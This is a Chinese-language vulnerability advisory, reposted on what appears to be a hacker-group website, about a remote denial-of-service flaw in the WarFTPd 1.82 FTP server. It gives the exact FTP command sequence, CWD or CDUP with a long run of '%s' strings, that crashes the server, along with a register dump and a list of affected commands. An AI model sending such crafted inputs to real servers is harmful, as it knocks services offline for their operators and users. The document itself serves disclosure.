WarFTPd多个命令处理远程拒绝服务漏洞 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 新闻中心 >> 漏洞公告 >> 文章正文	用户登录新用户注册

WarFTPd多个命令处理远程拒绝服务漏洞

热

【字体：小大】

WarFTPd多个命令处理远程拒绝服务漏洞

作者：hjack 文章来源：网络点击数：更新时间：2007-1-17

受影响系统

Jgaa WarFTPd 1.82.00-RC11

描述

BUGTRAQ ID: 20944

War FTP Daemon是32位Windows平台上的FTP服务器。

WarFTPd在处理多个命令的畸形参数时存在漏洞，远程攻击者可能利用此漏洞对服务器造成拒绝服务。

如果向各种命令发送了包含有两次“%s”字符的超长字符串的话，就会导致WarFTPd拒绝服务。例如，发送以下命令：

$ ftp target

(Banner)

ftp> quote user anonymous

ftp> quote pass bla

ftp> cwd %s*256

或者：

ftp> cdup %s*256

就会导致服务器崩溃：

EAX 00000001

ECX 00000073

EDX 00000002

EBX 0079E890

ESP 0079E7A0

EBP 00A55A8A ASCII

"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s

characters)"

ESI 0079E7DE

EDI 0000000A

EIP 00431540 war-ftpd.00431540



00431540   8A08             MOV CL,BYTE PTR DS:[EAX]

目前已知至少以下命令受这个漏洞影响：

CWD

CDUP

DELE

NLST

LIST

SIZE

建议

厂商补丁：

Jgaa

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://support.jgaa.com/index.php?MenuPage=frontpage

文章录入：IceRiver 责任编辑：IceRiver

上一篇文章：瑞星综述：上周(12.18-01.07)病毒与安全趋势回顾

下一篇文章： QQ发现多个远程漏洞请及时更新

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				利用四种自制批处理文件防御 Windows Vista对付ARP病毒有微软OneCare删除用户Outlook Sun Solaris ATA 磁盘驱动IO ZoneAlarm防火墙产品有多个本用VMware虚拟环境让恶意软件 Safari在处理Java Applet的下开源MySQL停止提供企业版源代简单了解局域网内部的ARP攻击 Microsoft Windows Calendar

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM